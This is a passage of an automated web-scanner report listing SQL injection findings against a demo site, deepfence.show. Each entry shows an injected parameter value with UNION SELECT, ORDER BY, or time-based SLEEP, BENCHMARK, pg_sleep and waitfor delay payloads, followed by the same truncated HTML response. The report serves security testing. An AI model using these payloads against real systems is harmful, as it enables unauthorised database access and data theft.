Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1166
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1167
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ' o/**/r 1/0 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1168
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryAlerts hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1169
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1170
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1171
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1172Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1173
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1174
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ")) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1175
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1176
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# \
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1177
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1178
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# `
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1179
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1180
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ));waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
